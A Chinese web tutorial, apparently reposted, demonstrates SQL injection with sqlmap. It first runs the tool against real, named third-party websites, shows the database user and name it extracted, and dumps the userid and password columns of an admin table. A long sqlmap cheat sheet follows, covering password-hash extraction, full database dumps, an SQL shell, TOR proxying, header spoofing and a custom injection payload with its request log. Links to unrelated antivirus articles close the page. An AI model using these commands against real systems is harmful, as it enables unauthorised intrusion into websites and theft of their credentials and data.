sqlmap 简单mysql注入演示[附截图]

所属分类: 软件教程 / 安全相关 阅读数: 1519
收藏 0 赞 0 分享
安装教程百度一下就有了.
首先下载需要的文件,如果是windows环境直接到https://www.jb51.net/softs/63591.html下载安装所需要的文件即可。
看大牛的视频,学习一下,附上截图....算是转载吧...只是为了分享一下..

下边是实例:

sqlmap.py -update  更新

-h                  help 

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --current-user

/*  注解:获取当前用户名称

current user:    'root@localhost'

sqlmap简单mysql注入演示(附截图)脚本之家

   sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --current-db

  /*当前数据库

current database:    'wepost'

sqlmap简单mysql注入演示(附截图)脚本之家

 sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --tables  -D "wepost"

sqlmap简单mysql注入演示(附截图)脚本之家

 

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql" --columns 

-T "admin" -D "wepost"

sqlmap简单mysql注入演示(附截图)脚本之家

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容

sqlmap简单mysql注入演示(附截图)脚本之家

sqlmap简单mysql注入演示(附截图)脚本之家

sqlmap简单中文说明

更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"
* Linux
* Windows
自定义payload
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
页面比较
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v
排除网站的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"
多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1
union注入测试
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1
unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs
fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
判断当前用户是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
列举数据库用户
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
列举数据库用户密码
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0
查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0
列数据库
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
列出指定数据库指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1
列出指定数据库的指定表的指定列的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0
指定列的范围从2-4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0
sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢复会话
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"
保存选项到INC配置文件
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save

更多精彩内容其他人还在看

腾讯电脑管家如何恢复被误删的手机通讯录

有时候会不小心将手机通讯录删掉,那么,遇到这种情况该怎么办呢?使用腾讯电脑管家就可以解决这个问题,下面以图文的形式为大家介绍下具体的操作步骤
收藏 0 赞 0 分享

金山毒霸加速球怎么开启或关闭?

金山毒霸加速球怎么开启或关闭?山毒霸的加速球,有的人喜欢,但是在安装的时候,没有发现这个加速球,有的人不喜欢,但是不知道在哪里才能找到金山毒霸的加速球在哪里关闭,下面分享具体教程
收藏 0 赞 0 分享

360安全卫士防护弹窗怎么设置成自动处理模式?

360安全卫士防护弹窗怎么设置成自动处理模式?这篇文章主要为大家介绍了如何设置360防护弹窗模式为自动处理模式,需要的朋友可以参考下
收藏 0 赞 0 分享

怎么用鲁大师检查笔记本电脑电池损耗程度?

怎么用鲁大师检查笔记本电脑电池损耗程度?每当笔记本电脑上的电池没电的时候,电脑就无法使用。但是经常会遇到这种情况,就是电池刚充满,但是没用多久又没电了,这是怎么回事?下面教你用鲁大师检查一下
收藏 0 赞 0 分享

360安全卫士的防护弹窗如何设置成自动处理模式

360安全卫士在给大家带来防护时也带来了很多不便,比如防护弹窗总是会让用户们不胜其扰,下面有个不错的方法可以在一定程度上降低烦恼
收藏 0 赞 0 分享

360浏览器主页被篡改的两个解决方法

自己的360浏览器主页被篡改,觉得很不爽,解决方法并没有那么复杂,下面整理了两个可行的方法,需要的朋友可以看看哦
收藏 0 赞 0 分享

彻底卸载杀毒软件avast(爱维士)的几大方法

avast是一款来自捷克的杀毒软件,在国外市场一直处于领先地位,中文名为爱维士,没办法卸载以及卸载不干净的问题,想必大家都有遇到过,下面为大家介绍个可行的卸载方法,需要朋友不要错过
收藏 0 赞 0 分享

电脑管家帐号宝包丢失怎么找回?

电脑管家帐号宝包丢失怎么找回?在QQ中有我们的亲朋好友在里面经常一起聊天,但是很多不法人士,就企图盗走我们的QQ,然后以此假借QQ号主人的身份进行诈骗,怎么快速找回呢?请看下文
收藏 0 赞 0 分享

360杀毒恢复误删隔离文件的方法

360杀毒误删隔离文件怎么恢复?有时候用360杀毒会无意删除一些安全的文件,但是删除以后,有些程序就没办法运行了,万一不小心删除隔离文件该怎么办呢?下面分享360杀毒恢复误删隔离文件的方法
收藏 0 赞 0 分享

360安全卫士社会自接收到压缩文件安全时提示的教程

如何设置360安全卫士接收到压缩文件安全时提示?电脑经常接收压缩文件,想让360安全卫士安全卫士在收到压缩文件时提示,该怎么设置呢?下面我们一起来看看吧
收藏 0 赞 0 分享
查看更多